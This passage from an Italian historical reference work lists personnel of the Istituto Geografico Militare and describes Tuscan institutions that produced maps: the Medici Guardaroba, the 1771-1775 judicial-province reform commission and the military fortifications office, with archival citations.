1872 – Garbolino cav. Francesco, trasferito nell’Amministrazione del Catasto e nominato Direttore Compartimentale 1887;
1873 – Cloza cav. Giovanni, Ingegnere geografo deceduto sul lavoro a Ghinda (Colonia Eritrea) 1896;
1875 – Pucci cav. Enrico, lascia il servizio nel 1880 perché nominato professore di Geodesia Teoretica nella R. Università di Roma;
1875 – Jadanza cav. Nicodemo, lascia il servizio nel 1881 perché nominato professore di Geodesia Teoretica nella R. Università di Torino;
1878 – Grechi cav. Raffaello, collocato a riposo nel 1918;
1879 – De Bernardinis cav. Giovanni, lascia il servizio nel 1887 perché nominato professore di Geodesia teoretica nella R. Università di Napoli;
1879 – Paganini comm. Pio, Capo della Divisione Trigonometrica, collocato a riposo nel 1910;
1879 – Domeniconi Francesco, morto in servizio nell’esecuzione dei lavori sul Monte Canin (Friuli) 1884;
1879 – Guarducci cav. Federico. Capo dell’Ufficio Geodetico, lascia il servizio nel 1903 perché nominato professore di Geodesia Teoretica nella R. Università di Bologna;
1879 – Ginevri cav. Arnaldo, Capo della Divisione Trigonometrica, morto in servizio nel 1918;
1880 – Mansueti Gherardo, morto in servizio nell’esecuzione dei lavori in Val di Livigno 1883;
1883 – Derchi cav. Francesco, Capo della Divisione Geodetica, collocato a riposo nel 1901;
1885 – Mariani cav. prof. Getulio, Capo dell’Ufficio Meccanico, collocato a riposo nel 1910;
1886 – Vitale cav. Lazzero, collocato a riposo nel 1905;
1888 – Loperfido comm. prof. Antonio, Geodeta Capo, Capo dell’Ufficio Geodetico;
1889 – Busoni Italo, dimissionario 1913;
1896 – Andreini dott. Angelo;

Topografi, secondo la data di entrata in servizio:
1855 – Del Giudice Leopoldo, collocato a riposo nel 1874;
1856 – Barone cav. Giuseppe, collocato a riposo nel 1875;
1856 – Pagano cav. Cesare, collocato a riposo nel 1890;
1856 – Lombardi cav. Tommaso, morto in servizio nel 1887;
1857 – Tascone cav. Vincenzo, collocato a riposo nel 1892;
1857 – Raucci Luigi, collocato a riposo nel 1880;
1857 – Cosentino cav. Nicola, morto in servizio nel 1881;
1858 – Stromei cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1891;
1859 – Nacciarone Antonio, collocato a riposo nel 1881;
1859 – Pacileo cav. Nunzio, collocato a riposo nel 1878;
1860 – Rivotti Giovanni, morto in servizio nel 1887;
1860 – Macari cav. Giovanni, collocato a riposo nel 1893;
1860 – Cantalupo Nicomede, morto in servizio nel 1875;
1860 – Bonatti cav. Giuseppe, collocato a riposo nel 1889;
1860 – Taricco Giacomo, morto in servizio nel 1878;
1860 – Modotti cav. Enrico, morto in servizio nel 1879;
1860 – Lissant cav. Francesco, collocato a riposo nel 1882;
1860 – Colao comm. Bruno, Capo della Divisione Artistica, collocato a riposo nel 1882;
1860 – Galante cav. Gerolamo, collocato a riposo nel 1882;
1860 – Vastola cav. Raffaele, collocato a riposo nel 1879;
1860 – Anfosso cav. Angelo, collocato a riposo nel 1876;
1860 – Pugnani cav. Enrico, morto in servizio nel 1879;
1860 – Rostagno cav. Giuseppe, collocato a riposo nel 1876;
1860 – Modotti cav. Edoardo, collocato a riposo nel 1887;
1861 – Ferrero cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1892;
1861 – Rimini cav. Giovanni, collocato a riposo nel 1895;
1861 – Bidelli cav. Vittorio, morto in servizio nel 1895;
1861 – Migliaccio cav. Federico, collocato a riposo nel 1899;
1861 – Amaretti Giuseppe, collocato a riposo nel 1874;
1862 – Granchi cav. Ulisse, Capo Catasto della Divisione Fototecnica, collocato a riposo nel 1890;
1862 – Minutolo cav. Pietro, collocato a riposo nel 1892;
1863 – Barelli cav. Carlo, Capo della Divisione Artistica, collocato a riposo nel 1900;
1863 – Bonatti cav. Enrico, morto in servizio nel 1896;
1869 – Martinelli Giuseppe, collocato a riposo nel 1874;
1869 – Trombetti cav. Pompilio, collocato a riposo nel 1894;
1870 – Mercandino Felice, collocato a riposo nel 1888;
1872 – Falangola Angelo, morto in servizio nel 1879;
1872 – Cattaneo Giuseppe, collocato a riposo nel 1875;
1872 – Alberto cav. Francesco, collocato a riposo nel 1891;
1872 – Alsona cav. Giovanni, morto in servizio nel 1895;
1872 – Satta cav. Giovanni, trasferito nell’Amministrazione del Catasto 1888;
1872 – Vassio cav. Luigi, collocato a riposo nel 1905;
1872 – De Notaris cav. Gaetano, collocato a riposo nel 1905;
1872 – Marchegiani comm. Giuseppe, Capo della Divisione Artistica, collocato a riposo nel 1906;
1872 – Bonnevie cav. Ferdinando, collocato a riposo nel 1903;
1872 – Juglaris cav. Giuseppe, morto in servizio nel 1900;
1872 – Torta Secondo, morto in servizio nel 1875;
1872 – Celsa Baldassare;
1872 – Caratelli Giorgio, collocato a riposo nel 1887;
1872 – Giunipero cav. Vittorio, trasferito al Catasto nel 1889;
1873 – Paternoster cav. Antonio, collocato a riposo nel 1899;
1873 – Grà cav. Luigi, trasferito nell’Amministrazione del Catasto 1888;
1873 – Tacchini cav. Angelo, collocato a riposo nel 1910;
1873 – Monticelli Fedele, morto in servizio nel 1887;
1873 – Buscaglione cav. Ernesto, Capo dell’Ufficio di Revisione, morto in servizio nel 1919;
1873 – De Roberto cav. Roberto, collocato a riposo nel 1907;
1873 – Rimbotti cav. Vittorio, dimissionario nel 1877;
1873 – Ciorlieri cav. Gerardo, collocato a riposo nel 1907;
1873 – Carrozza cav. Antonio, collocato a riposo nel 1907;
1873 – Bianchi Attilio, collocato a riposo nel 1905;
1873 – Alessio cav. Ireneo, collocato a riposo nel 1895;
1873 – Manfredi cav. Carlo, trasferito nell’Amministrazione del Catasto nel 1889;
1873 – Parrinello Diego, morto in servizio nel 1879;
1873 – Marchisio cav. Luigi, collocato a riposo nel 1900;
1873 – Santopadre Salvatore, morto in servizio nel 1889;
1873 – Porta cav. Clemente, collocato a riposo nel 1901;
1873 – D’Aste cav. Giovanni, collocato a riposo nel 1896;
1874 – Moretti cav. Paolo, collocato a riposo nel 1883;
1874 – Marzano cav. Gennaro, collocato a riposo nel 1892;
1874 – De Giudice cav. Francesco, collocato a riposo nel 1899;
1874 – Giacometti Antonio, collocato a riposo nel 1876;
1874 – Leonardi cav. Enrico, collocato a riposo nel 1920;
1874 – Vozzi cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Buonvino Goffredo, collocato a riposo nel 1876;
1874 – Formica Bartolomeo, collocato a riposo nel 1876;
1874 – Dosio cav. Luigi, trasferito nell’Amministrazione del Catasto nel 1890;
1874 – De Napoli cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Sisto Giuseppe, morto in servizio nel 1887;
1874 – Comandoli cav. Ranieri, morto in servizio nel 1914;
1874 – Romagnoli Pilade, morto in servizio nel 1878;
1874 – Stanghi cav. Raffaele, collocato a riposo nel 1900;
1874 – Vanni cav. Narciso, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Alari cav. Ferdinando, collocato a riposo nel 1911;
1874 – Aliberti cav. Melchiorre, collocato a riposo nel 1894;
1874 – Galli cav. Pio, collocato a riposo nel 1906;
1874 – Napolitano cav. Cammillo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Lindri cav. Attilio, collocato a riposo nel 1905;
1874 – Cataldi cav. Carlo, collocato a riposo nel 1907;
1874 – Rossi cav. Paolo, collocato a riposo nel 1905;
1874 – Scicali Vincenzo, collocato a riposo nel 1876;
1874 – Savoca cav. Michele, collocato a riposo nel 1905;
1874 – Di Piramo Alberto, morto in servizio nel 1892;
1874 – Veccia Arrigo, dimissionario nel 1876;
1874 – Ercolani cav. Amadio, morto in servizio nel 1899;
1874 – Palmarocchi cav. Filippo, collocato a riposo nel 1914;
1874 – Amadei cav. Pompeo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Liserani cav. Raffaele, collocato a riposo nel 1920;
1874 – Dal Pozzo cav. Giuseppe, collocato a riposo nel 1921;
1875 – Cattaneo Giuseppe, morto in servizio nel 1878;
1875 – Piana Giacinto, dimissionario nel 1898;
1875 – Cepparelli cav. Augusto, collocato a riposo nel 1909;
1875 – Gatt cav. Michele, Capo della Divisione Artistica, collocato a riposo nel 1920;
1875 – Vasari Francesco, trasferito nell’Amministrazione del Catasto nel 1888;
1876 – Ponzoni cav. Italiano, collocato a riposo nel 1909;
1876 – Lori cav. Annibale, collocato a riposo nel 1908;
1876 – Bonazzi cav. Bruto, Capo della Divisione Artistica, collocato a riposo nel 1908;
1876 – Bardone cav. Rinaldo, trasferito nell’Amministrazione del Catasto nel 1889;
1876 – Pietropoli Cesare, morto in servizio nel 1904;
1876 – Martellettti cav. Giovanni, collocato a riposo nel 1909;
1876 – Rimbotti cav. Dialma, Capo della Divisione Topografica, collocato a riposo nel 1920;
1876 – Capponi cav. Felice, Capo dell’Ufficio Tecnico cartografico, morto in servizio nel 1919;
1876 – Pestelli Rogero, morto in servizio nel 1902;
1876 – Armandi cav. Francesco, collocato a riposo nel 1915;
1876 – Palmarocchi Vincenzo, morto in servizio nel 1891;
1876 – Crivellari cav. Giuseppe, Capo della Divisione Topografica;
1876 – Sforza cav. Vincenzo, collocato a riposo nel 1920;
1876 – Marchi cav. Gaetano;
1876 – Lensi Natale, morto in servizio nel 1904;
1876 – Borzini cav. Luigi, Capo della Divisione Artistica;
1876 – Croveris cav. Giovanni, trasferito nell’Amministrazione del Catasto nel 1889;
1877 – Soldaini cav. Vittorio, Capo della Divisione Fototecnica;
1877 – Battaglini cav. Gualtiero, collocato a riposo nel 1905;
1877 – Ferretre cav. Enrico, collocato a riposo nel 1905;
1879 – Cosentino Giovanni, morto in servizio nel 1915;
1881 – Minezzi Eugenio, morto in servizio nel 1889;
1881 – Robusti Giacinto, morto in servizio nel 1890;
1882 – Marchi Pietro, morto in servizio nel 1919;
1882 – Burci Augusto;
1883 – Carli cav. Italo, morto in servizio nel 1922;
1883 – Puccini cav. Ettore;
1883 – Poltri Tannucci Francesco, dimissionario nel 1891;
1883 – Rocchi Vincenzo, morto in servizio nel 1918;
1883 – Buccioni cav. Arturo;
1883 – Ghiaroni cav. Ugo;
1883 – Valle Umberto, morto in servizio nel 1905;
1883 – Varaldo cav. Giuseppe;
1883 – Roda Roberto, morto in servizio nel 1891;
1883 – Gaube Francesco;
1883 – Torchiana Alfredo;
1883 – Olivetti Oliviero, collocato a riposo nel 1920;
1883 – Barbetti Pietro, morto in servizio nel 1888;
1883 – Macari cav. Vittorio;
1883 – Bezzi cav. Alberto;
1883 – Bucchia Achille, dimissionario nel 1899;
1883 – Chiostri cav. Attilio;
1883 – Cellai cav. Napoleone;
1883 – Scheggi Ettore, morto in servizio nel 1907;
1883 – Morgari Oddino, dimissionario nel 1890;
1883 – Fanfani Giovanni;
1883 – Zuti Augusto;
1884 – Marradi Giuseppe, morto in servizio nel 1903;
1884 – Gaggero Antonio, dimissionario nel 1893;
1886 – Mori cav. Attilio, lascia il servizio nel 1915, perché nominato professore di Geografia nella R. Università di Messina;
1886 – Bettazzi Ubaldo, Dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Marini Angelo, collocato a riposo nel 1922;
1886 – Grupelli cav. Enrico;
1886 – Concari cav. Achille;
1886 – Leoni Nestore, dimissionario nel 1888;
1886 – Mazzetti Ugo, dimissionario nel 1909 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Senno Fortunato, morto in servizio in zona di guerra nel 1915;
1886 – Rossi cav. Emanuele;
1886 – Gherardelli cav. Attilio;
1886 – Fiechter cav. Alfredo;
1886 – Rossi cav. Vincenzo;
1886 – D’Aste Giuseppe;
1886 – Antonacci Oreste, dimissionario nel 1909;
1886 – Renzetti cav. Federico, morto in servizio nel l921;
1888 – Cenni Ercole, morto in servizio nel 1904;
1888 – Paoli Napoleone, collocato a riposo nel 1920;
1888 – Troise cav. Giustino, collocato a riposo nel 1920;
1888 – Bargellini Carlo;
1888 – Gallichi Dante;
1888 – Birga Alessandro;
1888 – Naldi Vittorio;
1888 – Cini Giuseppe;
1889 – Candi Alessandro, collocato a riposo nel 1922;
1889 – Coliva Mameli, dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1889 – Roscini Giuseppe, morto in servizio nel 1917;
1889 – Pira Matteo, morto in servizio nel 1909;
1889 – Alessandrini cav. Randolfo;
1889 – Viglietta Luigi, morto in servizio nel 1916;
1889 – Francolini Palestro, dimissionario nel 1908;
1889 – Urbani Alessandro;
1889 – Mazzoni Paolo;
1889 – Grini cav. Paolo;
1889 – Giua cav. Enrico;
1889 – Barbier cav. Olinto;
1889 – Broccardi cav. Giorgio;
1889 – Galli cav. Giuseppe;
1889 – Giardi cav. Guglielmo;
1889 – Gabardi Brocchi Olivo, morto in servizio nel 1913;
1889 – Venturi Ettore;
1889 – Razzetti Ferruccio;
1889 – Venturi Annibale;
1889 – Vasari cav. Salvatore, morto in servizio nel 1922;
1889 – Bonini Ferdinando, collocato a riposo nel 1920;
1889 – Corti Carlo;
1889 – Capigatti cav. Guido, morto in servizio nel 1917;
1889 – Andreaus Vittorio, morto in servizio nel 1910;
1889 – Rapisardi Pietro;
1889 – Gaeta Alessandro;
1889 – Massari Felice;
1890 – Bianchi Luigi;
1891 – Marchi cav. Guido;
1891 – Minutolo Giovacchino;
1891 – Geri Giulio;
1895 – Rossi Guido;
1896 – Allegretti Filippo;
1896 – Piana Ettore;
1896 – Conedera Giovan Battista, morto in servizio nel 1910;
1900 – Bellandi cav. Corrado;
1900 – Bongi Edoardo, dimissionario nel 1905;
1901 – Cioni Quintilio;
1901 – Del Panta UIisse;
1908 – Favati cav. Umberto;
1908 – Galducci Pietro;
1908 – Bianucci Guido, dimissionario nel 1920;
1908 – Sgrilli Alberto;
1910 – Benicchi Guglielmo;
1910 – Zanini Ireneo;
1910 – Felli Guido;
1910 – Casamorata cav. Cesare;
1910 – Piacenti Giorgio;
1910 – Guardabasso Evandro.

Per quanto attiene invece le attività topocartografiche nei territori coloniali, si segnala la presenza dei seguenti ufficiali:
Bonoldi Antonio, Ceruti Amadeo, Gianni Metello, Sargenti Carlo, Thermes Attilio.

Riferimenti bibliografici e archivistici

Cantile, 2003; Cantile, 2004 (a); Cantile, 2004 (b); Casti, 1992, pp. 13-58; Casti, 1998; Casti e Turco, a cura di, 1998; Cerreti, 1987; Ciampi, 1998, pp. 529-550; Dardano, 1927, vol. II, pp. 630-636; Dardano, 1930, pp. 131-135; De Benedictis, 1895, pp. 3-22; Farinelli, 1978, vol. 6, Atlante, pp. 626-654; Firrao, 1868; Istituto Geografico Militare, 1934; Istituto Geografico Militare, 1939; Istituto Geografico Militare, 1911; Istituto Geografico Militare, 1911; Ludovisi, Mauri e Torresani, 1994; Memorial du Dépot général de la guerre, imprimé par ordre du ministre, 1829; Mori, 1903; Mori, 1922; Pruccoli e Rosani, 2003; Quaini, 1979; Salzano,1982; Scalamandrè, 1931; Spagna, 1989; Traversi, 1964; Valerio, 1993; Valerio, 1996.
Decreto del Presidente della Repubblica n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, in “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977; Legge n. 2564 del 29 giugno 1875, Autorizzazione alla spesa straordinaria di lire 650000 per continuare i lavori della carta topografica generale dell’Italia; Legge n. 4401 del 30 maggio 1878, Stanziamento della somma di lire 4.400.000 nel bilancio del Ministero della Guerra pel compimento della carta topografica d’Italia; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894”, Firenze, Biblioteca I.G.M.; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894, Processo verbale delle sedute della Commissione italiana per la misura dei gradi, prima riunione dell’anno 1865 in Torino dal 3 al 7 giugno, pag. 3, in Firenze, Biblioteca I.G.M.; Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare; IGM, Costituzione dell’Istituto, […], 1904, Biblioteca I.G.M., inv. 19493; IGMilitare, Raccolta delle disposizioni concernenti il servizio del R.° Istituto Geografico Militare, marzo 1893, Biblioteca I.G.M., inv. 2947; IGM (fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico); IGM, Biblioteca “Attilio Mori”.

Andrea Cantile, Andrea Masturzo (Siena)

Guardaroba mediceo e Corte lorenese (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Guardaroba mediceo (1538-1783)

Corte lorenese e Guardaroba (1765-1808)

Imperiale e Regia Corte (1814-1860)

La Guardaroba Medicea era l’ufficio incaricato dell’amministrazione, della cura e della conservazione di tutte le suppellettili, gli oggetti, l’argenteria ecc. presenti nei palazzi, ville e gallerie di proprietà granducale, di cui doveva anche curare la manutenzione e l’esecuzione delle riparazioni necessarie. Istituita nel 1538, la Guardaroba continuò a funzionare secondo le regole medicee anche dopo l’estinzione di casa Medici. L’11 maggio 1739 i suoi compiti passarono all’amministrazione delle Regie Fabbriche, finché nell’aprile 1770 cessò di esistere come amministrazione autonoma e sottoposta alla Segreteria di Finanze.
In seguito alla salita al trono di Pietro Leopoldo di Lorena e alla conseguente riorganizzazione della struttura di corte, il 1 gennaio 1766 venne istituita l’amministrazione della Corte lorenese e Guardaroba, che comprendeva i sei dipartimenti del Maggiordomo maggiore del Granduca e della Real Corte; del Grand Ciambellano e Camera del Granduca; del Cavallerizzo maggiore; del Maggiordomo maggiore della granduchessa; della Maggiordoma maggiore della granduchessa; dell’Aia della Real Prole.
Negli anni successivi, il progressivo accorpamento di diversi uffici all’amministrazione di Corte, portò nel 1783 all’annessione della Guardaroba generale alla Corte lorenese, finché il 24 novembre 1784 la carica di Guardaroba maggiore fu definitivamente soppressa e la Guardaroba generale posta alle dipendenze del Maggiordomo maggiore.
Il mp 6 aprile 1789 istituì l’Amministrazione generale dei patrimoni della Corona e personale del granduca, a cui vennero aggregati la Guardaroba, lo Scrittoio delle Reali Possessioni, che amministrava le aziende agricole di proprietà della Corona e privata del sovrano, e lo Scrittoio delle Reali Fabbriche e Giardini. Quest’ultimo, quindi, interveniva di concerto con l’ufficio della Guardaroba e del Maggiordomo maggiore sui palazzi e sulle ville della Corona.
Nel 1801, a seguito dei cambiamenti dinastici e istituzionali determinati dalla creazione del Regno d’Etruria sotto Ludovico I di Borbone, l’organizzazione della Corte subì nuove modifiche: la direzione di tutti gli affari interni della Corte ritornò appannaggio del Maggiordomo maggiore, venne soppressa la Segreteria della Corona e di Corte e le sue competenze ripartite tra le segreterie di Stato, di Finanze e di Guerra. Il 26 agosto 1802 venne stabilito che l’amministrazione della Real Corona e Corte fosse limitata ai soli dipartimenti della Real Corte e della Guardaroba generale, da cui il nome di Amministrazione della Real Corte e Guardaroba.
Nel 1807 una nuova riforma organizzò l’Amministrazione intorno ai tre dipartimenti della Real Casa e Corte, della Guardaroba generale e delle Reali Possessioni, ordinamento che rimase in vigore fino al 1808.
Dopo la Restaurazione, l’amministrazione della Imperiale e Regia Corte venne ripristinata con mp 22 aprile 1815 che ristabiliva la attribuzioni del Maggiordomo maggiore. Nel 1833 venne soppresso il dipartimento della Guardaroba maggiore e istituita la carica di Ispettore della Guardaroba e del mobiliare dei Reali palazzi e ville, alle dirette dipendenze del Maggiordomo maggiore.
Nel 1849 la carica di Maggiordomo maggiore venne ridotta a titolo puramente onorifico e le sue competenze divise tra le nuove cariche di Soprintendente dell’Imperiale e Real Casa e Corte, e quella di Gran Ciambellano. Il mp 10 novembre 1856 confermò il sistema di precedenze tra le cariche e stabilì per il Soprintendente la nuova denominazione di Maggiordomo dell’Imperiale e Real Corte, a cui afferivano tutti gli affari amministrativi, la raccolta e il controllo dei bilanci, l’erogazione delle somme per tutti i settori della corte.
Tale struttura rimase in funzione fino al 17 aprile 1859, data della definitiva partenza della dinastia lorenese.

Produzione cartografica

Dall’Inventario del fondo, (Giamblanco e Marchi, a cura di, 1997) risultano pochi elaborati, consistenti soprattutto in piante di alcuni edifici, in disegni per esequie di membri della famiglie granducale, in progetti per interventi di vario tipo.
Si segnala in ASF, Guardaroba Medicea, la filza 1016 “Piante di palazzi” (libro di 27 piante, disegni e schizzi di palazzi, XVII sec., di cui alcune firmate da G. Silvani).

Operatori

Gherardo Silvani; Giuseppe Martelli; Carlo Cecchi; Gaetano Baccani; Francesco Cinci.

Riferimenti bibliografici e archivistici

Giamblanco e Marchi, a cura di, 1997; Vaccari, a cura di, 1997. ASF, Guardaroba Medicea; ASF, Imperiale e Real Corte.

Rosamaria Martellacci (Siena)

Giunta deputata alla riforma del Compartimento Provinciale Provinciale (31 marzo 1771-maggio 1775) (Granducato di Toscana)

La Giunta o “deputazione” fu istituita con motuproprio 31 marzo 1771 per procedere – proprio mentre si stava progettando la grandiosa riforma comunitativa che di lì a pochi anni avrebbe ridisegnato radicalmente l’assetto delle autonomie locali della Toscana (con l’accorpare i circa 3000 soggetti tradizionalmente esistenti in sole 201 unità di base) – alla riforma dell’amministrazione periferica della giustizia, attraverso la riorganizzazione profonda e razionale del territorio, ossia delle “province giudiziarie”, in cui era suddiviso il Granducato: vale a dire, i vicariati o circoscrizioni giudiziarie penali con la maglia più fitta delle sotto province giudiziarie civili, o podesterie, che di regola accorpavano ciascuna varie comunità.
La Giunta deputata era costituita dai funzionari Pompeo Neri (illuminista ben noto, soprattutto per la parte rilevante avuta nella realizzazione del catasto teresiano), Giuseppe Pelli Bencivenni, Tommaso Piccolomini e Stefano Querci.
Il granduca Pietro Leopoldo raccomandava – nelle istruzioni allegate al motuproprio – di prestare particolare attenzione all’organizzazione geografica del Granducato, per stabilire delle nuove province e per abrogare quelle vecchie, per localizzare le nuove sedi giudiziarie in posizioni centrali e facilmente raggiungibili mediante la viabilità, oltre che per trasferire comunità o parrocchie da una provincia all’altra e per eliminare le tante isole amministrative o “salti” esistenti. Tra gli obiettivi fondamentali dell’operazione c’era quello per cui ciascun comune e addirittura ciascun popolo “resti distintamente conosciuto e separato dagli altri a tutti gli effetti di ragione con l’ordine geografico” (ASF, Consulta poi Regia Consulta, f. 465, cc. 2-3).

Per il buon successo di tale impegnativo compito era fondamentale per la Giunta disporre di cartografi che possedessero – oltre alle indispensabili qualità tecniche – vere e proprie conoscenze e attitudini geografiche, vale a dire cultura territoriale e capacità di lavoro sul terreno.
Data la scarsa conoscenza della geografia toscana, “Neri rivendicò l’impiego degli ingegneri come un mezzo di imprescindibile importanza per cogliere le strutture territoriali” (Stopani, 2001, p. 33), e la scelta cadde su tre ingegneri architetti granducali di grande esperienza e considerazione: in primo luogo Ferdinando Morozzi, che si era già occupato del problema fin dal tentativo della Reggenza del 1751 diretto dal funzionario Gaetano Canini (Morozzi aveva allora redatto mappe generali e particolari, e anche nel 1771-75 spettò a lui la maggior parte del lavoro), e successivamente Francesco Bombicci e Giovanni Franceschi, vale a dire il fior fiore della burocrazia tecnica granducale dell’epoca.
Sappiamo che Morozzi, nella prima fase del lavoro, impiegò 64 giornate “in campagna” (dal 7 ottobre all’11 novembre 1771), percependo “lire 10 al giorno per vitto e dieta, e il rimborso delle spese vive delle vetture”, per condurre le visite alla Romagna Granducale, alle Podesterie di Pontassieve, Dicomano, S. Godenzo, e a quelle dell’Aretino, del Valdarno di Sopra, del Chianti (ASF, Consulta poi Regia Consulta, f. 469, cc. 72-74).
Morozzi presentò una prima relazione il 12 febbraio 1772 sul lavoro già svolto nella Toscana nord-orientale, con tanto di puntuali descrizioni geografiche (corredate da cartografie) per ciascuna delle località abitate anche piccole e per ciascuna comunità (ASF, Consulta poi Regia Consulta, f. 481, cc. 227-230): tale memoria costituì la base del motuproprio del 30 settembre 1772 che riorganizzava il sistema provinciale limitatamente al territorio dell’antico Stato Fiorentino.
Il granduca, allora, il 15 ottobre 1772, incaricò Morozzi di eliminare le isole amministrative, vale a dire le aree e i luoghi dipendenti da un tribunale che si trovavano all’interno di altre circoscrizioni giudiziarie: il tutto doveva avvenire mediante il disegno di “una pianta dimostrativa di questi territori intralciati per ridurre ogni giurisdizione a un circondario unico e semplice”, con indicazioni circa l’estensione di ogni isola e il numero delle case e degli abitanti, con tanto di riferimento alle rispettive parrocchie.
Il lavoro richiese molto tempo e, dal gennaio 1773, il Morozzi poté contare sulla collaborazione di Bombicci e Franceschi, che si suddivisero col primo il territorio granducale da visitare e analizzare: Morozzi il circondario di Firenze e i vicariati di Certaldo, S. Gimignano, S. Miniato, Empoli, Prato, Pescia, Pistoia, Montagna, Radda e S. Giovanni; Franceschi i vicariati di Monte S. Savino, Sestino, Bagno, Rocca S. Casciano, Modigliana, Marradi e Poppi; Bombicci quelli di Pisa, Lari, Campiglia e Volterra.
Le visite dovevano essere mirate, cioè finalizzate alla risoluzione dei casi “dubbiosi” che la Giunta aveva provveduto ad elencare in tre distinti documenti “relativi alle circostanze dei luoghi e consegnati, sotto forma di precise istruzioni, a ciascun ingegnere; per ogni situazione visitata, i tre operatori dovevano produrre le piante e le osservazioni necessarie “per correggere i respettivi circondari” (ASF, Consulta poi Regia Consulta, f. 469, cc. 62-69).
I tre ingegneri poterono consegnare le relazioni con le mappe dei “salti” e le altre documentazioni prodotte fino al 1775 (ASF, Consulta poi Regia Consulta, f. 488, cc. 63-691. Altre piante in ivi, f. 475 e in ASF, Segreteria di Finanze. Affari anteriori al 1788, f. 905).
Il lavoro non era tuttavia concluso, perché l’insorgere di reclami da parte degli abitanti di questo o quel centro abitato che si dimostrarono insoddisfatti delle soluzioni adottate spinsero la Giunta a spedire nuovamente Morozzi, nei primi mesi del 1775, in varie località del Granducato, per verificare la fondatezza delle lamentele e delle richieste alternative da parte della popolazione, con tanto di redazione di ulteriori memorie spesso illustrate da mappe. E finalmente, il 18 maggio 1775, la Giunta poté approvare il nuovo assetto delle province giudiziarie dello Stato Vecchio di Firenze, con a grandi linee l’indicazione dei confini delle medesime che poi dovevano essere dettagliatamente stabiliti sul terreno, con il contributo obbligatorio degli stessi vicari territorialmente interessati. Si prescriveva anche che nelle relative memorie fossero descritti “tutti i confini reali di fiumi, strade e sommità di monti che sono soliti formare la linea di divisione tra i diversi territori e tutti i termini manufatti che converrà piantare per indicare le linee mentali a cui conviene ricorrere quando la linea di divisione si stacca e si allontana dai confini reali”. A questo punto, “tutta la divisione del territorio sarebbe regolare e potrebbe farsi la pianta geografica di ogni giurisdizione e di ciascheduna comunità in cui restasse divisa” (ASF, Consulta poi Regia Consulta, f. 475, c. 147 ss.).
In effetti, considerando tutta l’operazione della riforma provinciale – più ancora di quella comunale – si deve riconoscere che “è l’uso della cartografia che marca la distanza rispetto alla riforma guidata da Gianni [cioè la comunale e] la carta rappresenta qui uno strumento di conoscenza e un mezzo tecnico di pianificazione”, oltre che come futuro “ostacolo alle nuove dispute che sogliono insorgere tra confinanti” (Stopani, 2001, pp. 31 e 41).

Produzione cartografica

Come già enunciato, le decine di relazioni degli ingegneri Morozzi, Bombicci e Franceschi sono spesso corredate da carte o disegni cartografici più o meno parziali del territori analizzati e specialmente dei “salti”. Tra queste rappresentazioni, spicca la Pianta del Vicariato di Bagnone, Ferdinando Morozzi, 1772, che servì ottimamente a stabilire la nuova sede vicariale, appunto a Bagnone, “più nel centro del Capitanato di quel che sia Castiglion del Terziere” (ASF, Consulta poi Regia Consulta, f. 467, c. 535); per il resto, lo stesso Morozzi rilevava che nelle mappe in genere non era riprodotto “il vero preciso confine”, e che esse erano puramente “dimostrative”, perché di necessità eseguite a scala troppo piccola per decidere “se una casa vada levata o no da qualche giurisdizione o se il podere deva esser tagliato dalla linea dei termini o da un borro o da una strada” (ASF, Consulta poi Regia Consulta, f. 488, c. 97).

Operatori

Ferdinando Morozzi (ingegnere e architetto, in carica dal 1771); Francesco Bombicci (ingegnere, in carica dal 1773); Giovanni Franceschi (ingegnere, in carica dal 1773).

Riferimenti bibliografici e archivistici

Archivio di Stato di Firenze, 1991, pp. 64-75; Stopani, 2001, pp. 30-41. ASF, Consulta poi Regia Consulta, ff. 347, 435, 465-493, 503-517, 738, 752, 759-760, 761-764, 773; ASF, Segreteria di Finanze. Affari anteriori al 1788, f. 905.

Anna Guarducci (Siena)

Fortificazioni e Genio Militare (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Direzione Generale delle Fortificazioni e Artiglieria (1739-1777)

Genio Militare della Toscana (1753-1777)

L’insieme dei palazzi, delle ville e delle fortezze granducali afferiva in un primo momento allo Scrittoio delle Fortezze e Fabbriche, poi, a partire dal 1739, allo Scrittoio delle Regie Fabbriche, che ebbe come primo direttore l’architetto lorenese Jadot (o Jadod), cui successe Giuseppe Ruggieri.
Con il Ruggieri venne compiuta, durante il periodo della Reggenza, una prima netta divisione tra fabbriche civili e fortezze, anche se in realtà una vasta opera di riassetto delle strutture fortificate e difensive dello stato toscano era già stata intrapresa da Cosimo I nel 1531, con l’istituzione dei Cinque Provveditori delle Fortezze: i quali, sebbene ben presto riassorbiti dai Capitani di Parte Guelfa, avevano la cura delle operazioni di costruzione o di rifacimento e restauro delle fortificazioni.
Tuttavia, solo con l’avvento dei Lorena sul trono di Toscana, le fabbriche militari vennero decisamente scorporate da quelle civili e affidate alla Direzione Generale dell’Artiglieria e Fortificazioni di cui, con Ordinanza del 26 aprile 1739, fu nominato Direttore il colonnello Odoardo Warren, contemporaneamente incaricato di predisporre le piante delle principali città e fortezze del Granducato. Con la stessa Ordinanza venne inoltre istituito il Consiglio di Guerra, preposto alla omonima Segreteria di Guerra a sua volta sottoposta al Consiglio di Reggenza.
